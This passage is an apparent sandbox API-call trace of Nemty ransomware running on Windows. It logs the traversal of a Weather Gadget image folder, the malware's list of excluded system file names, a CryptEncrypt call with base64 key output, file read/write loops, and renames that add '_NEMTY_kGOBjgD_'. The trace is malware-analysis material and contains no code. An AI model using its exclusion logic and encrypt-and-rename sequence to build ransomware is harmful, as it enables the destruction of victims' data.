lpOverlapped=0x0) returned 0 [0158.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0158.571] CloseHandle (hObject=0xffffffff) returned 0 [0158.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340448 [0158.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0158.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0158.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0158.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0158.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0158.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340500 [0158.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0158.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0158.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0158.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_down.png._nemty_kgobjgd_")) returned 0 [0158.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0158.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340448 | out: hHeap=0x4f90000) returned 1 [0158.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0158.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402d8 | out: hHeap=0x4f90000) returned 1 [0158.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0158.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0158.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0158.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0158.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.572] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875bee29, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875bee29, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcdf, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="btn_close_down_BIDI.png", cAlternateFileName="")) returned 1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2=".") returned 1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="..") returned 1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="...") returned 1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="windows") returned -1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="$RECYCLE.BIN") returned 1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="rsa") returned -1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="NTDETECT.COM") returned -1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="ntldr") returned -1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="MSDOS.SYS") returned -1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="IO.SYS") returned -1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="boot.ini") returned 1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="boot.ini") returned 1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="AUTOEXEC.BAT") returned 1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="ntuser.dat") returned -1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="desktop.ini") returned -1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="CONFIG.SYS") returned -1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="RECYCLER") returned -1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="BOOTSECT.BAK") returned 1 [0158.572] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="bootmgr") returned 1 [0158.573] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="programdata") returned -1 [0158.573] lstrcmpiW (lpString1="btn_close_down_BIDI.png", lpString2="appdata") returned 1 [0158.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down_BIDI.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0158.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down_BIDI.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_down_BIDI.png", lpUsedDefaultChar=0x0) returned 23 [0158.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0158.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down_BIDI.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0158.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down_BIDI.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_down_BIDI.png", lpUsedDefaultChar=0x0) returned 23 [0158.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0158.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down_BIDI.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0158.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down_BIDI.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_down_BIDI.png", lpUsedDefaultChar=0x0) returned 23 [0158.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0158.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down_BIDI.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0158.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_close_down_BIDI.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_close_down_BIDI.png", lpUsedDefaultChar=0x0) returned 23 [0158.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0158.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0158.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0158.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0158.573] Sleep (dwMilliseconds=0x5) [0158.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x122c1ef0, dwHighDateTime=0x1d561e8)) [0158.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x122c1ef0, dwHighDateTime=0x1d561e8)) [0158.587] GetLastError () returned 0x5 [0158.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0158.587] GetLastError () returned 0x5 [0158.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0158.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0158.588] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0158.588] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0158.588] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0158.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0158.588] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="y0cdUciWPeZSD9H4sebvRLZ2Q9BGRyVVNXJg6YjZYuaF1Y4Svt4acJK3JepBsjhp\r\n672V2xHc9eie1yTrWF7K3jDFZDx62rUNgqg+r06DMNumAKoCR3lhJoSmk98bWqpB\r\n/OfzWsDSlB3gl9UNGOGh1ayu7EBIcpeTJb6aeQmsZsRfXSk09F6mFU/VwyYHG6NF\r\n10+5avU3gJQlt7Zh8fLa6bFKjtpkQJRwwvAveQyjFfJAsVimoCXfBxPY5NBOm7jH\r\nlnhPGaQElLCzP5j20mO6zOIi6nWseEs5s4rNle4igfJCSAJHIHI8GGn4m7Bijzo2\r\nTL0o2VrMSl9TVcuvTtEBFw==\r\n", pcchString=0x653e91c) returned 1 [0158.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0158.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0158.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0158.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0158.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0158.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0158.588] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_close_down_BIDI.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_close_down_bidi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0158.589] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0158.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0158.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.636] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.636] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0158.694] CloseHandle (hObject=0xffffffff) returned 0 [0158.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0158.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0158.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0158.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0158.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0158.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0158.695] 